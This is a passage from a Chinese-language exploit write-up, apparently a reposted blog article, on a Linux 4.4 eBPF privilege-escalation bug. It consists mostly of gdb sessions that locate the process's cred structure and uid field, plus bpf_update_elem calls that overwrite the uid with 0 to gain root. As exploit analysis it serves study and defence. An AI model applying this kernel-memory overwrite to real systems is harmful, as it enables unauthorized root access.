(gdb) p ((struct task_struct *)0xffff880074343c00)->cred
$16 = (const struct cred *) 0xffff880074cb5e00
(gdb) p &((struct task_struct *)0xffff880074343c00)->cred
$17 = (const struct cred **) 0xffff8800743441f8
(gdb) x/10x 0xffff880074343c00+0x5f8
0xffff8800743441f8: 0x74cb5e00 0xffff8800 0x00707865 0x65742d00
0xffff880074344208: 0x6e696d72 0x002d6c61 0x00000000 0x00000000
0xffff880074344218: 0x00000000 0x00000000
(gdb)

 

上圖中rax的值0xffff880074cb5e00即爲從task_struct中讀取到的指向cred的指針。
cred的地址獲得了,再加上uid在cred中的偏移(固定爲4)便獲得了uid的地址0xffff880074cb5e04,而後構造寫數據的map指令:
bpf_update_elem(0, 2); 
bpf_update_elem(1, 0xffff880074cb5e04); 
bpf_update_elem(2, 0); 
過程以下(因爲第一次運行exp的時候,這裏沒斷下來,因此下面的過程是第二次運行的過程,中間一些結構體的地址發生了稍微的變化):
(gdb) p ((struct task_struct*)0xffff880079afe900)->cred->uid
$38 = {val = 1000} //此時uid仍是1000
(gdb) ni
0xffffffff811778ac  856                 LDST(DW, u64)
(gdb) p ((struct task_struct*)0xffff880079afe900)->cred->uid
$39 = {val = 1000}
(gdb) ni
0xffffffff811778b4  856                 LDST(DW, u64)
(gdb) p ((struct task_struct*)0xffff880079afe900)->cred->uid
$40 = {val = 1000}
(gdb) ni
Thread 1 hit Breakpoint 13, 0xffffffff811778b8 in __bpf_prog_run (ctx=0xffff8800746c9d80, 
    insn=0xffffc900005b5168) at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/core.c:856
856                 LDST(DW, u64)
(gdb) p ((struct task_struct*)0xffff880079afe900)->cred->uid
$41 = {val = 0} //此時uid已經變爲0
(gdb) x/10i $rip-12
   0xffffffff811778ac <__bpf_prog_run+3612>:       mov    rax,QWORD PTR [rbp+rax*8-0x270]
   0xffffffff811778b4 <__bpf_prog_run+3620>:       mov    QWORD PTR [rcx+rdx*1],rax //就是這裏改變了uid的值
=> 0xffffffff811778b8 <__bpf_prog_run+3624>:       jmp    0xffffffff81176ae0 <__bpf_prog_run+80>
   0xffffffff811778bd <__bpf_prog_run+3629>:       movzx  eax,BYTE PTR [rbx+0x1]
   0xffffffff811778c1 <__bpf_prog_run+3633>:       movsx  rdx,WORD PTR [rbx+0x2]
   0xffffffff811778c6 <__bpf_prog_run+3638>:       add    rbx,0x8
   0xffffffff811778ca <__bpf_prog_run+3642>:       movsxd rcx,DWORD PTR [rbx-0x4]
   0xffffffff811778ce <__bpf_prog_run+3646>:       and    eax,0xf
   0xffffffff811778d1 <__bpf_prog_run+3649>:       mov    rax,QWORD PTR [rbp+rax*8-0x270]
   0xffffffff811778d9 <__bpf_prog_run+3657>:       mov    QWORD PTR [rax+rdx*1],rcx
(gdb) x/1l ($rcx+$rdx*1)  //$rcx+$rdx*1的值0xffff880075b7ca84即爲uid的地址
0xffff880075b7ca84: Undefined output format "l".
(gdb) p &((struct task_struct*)0xffff880079afe900)->cred->uid
$43 = (kuid_t *) 0xffff880075b7ca84
(gdb) i r $rax  //此時rax爲咱們須要些到uid地址的值0
rax            0x0  0
(gdb)

提權成功:

到此整個漏洞利用完成,後面的部分寫的有點倉促了,若是有錯誤的地方,還請各位朋友不吝賜教。
相關文章
相關標籤/搜索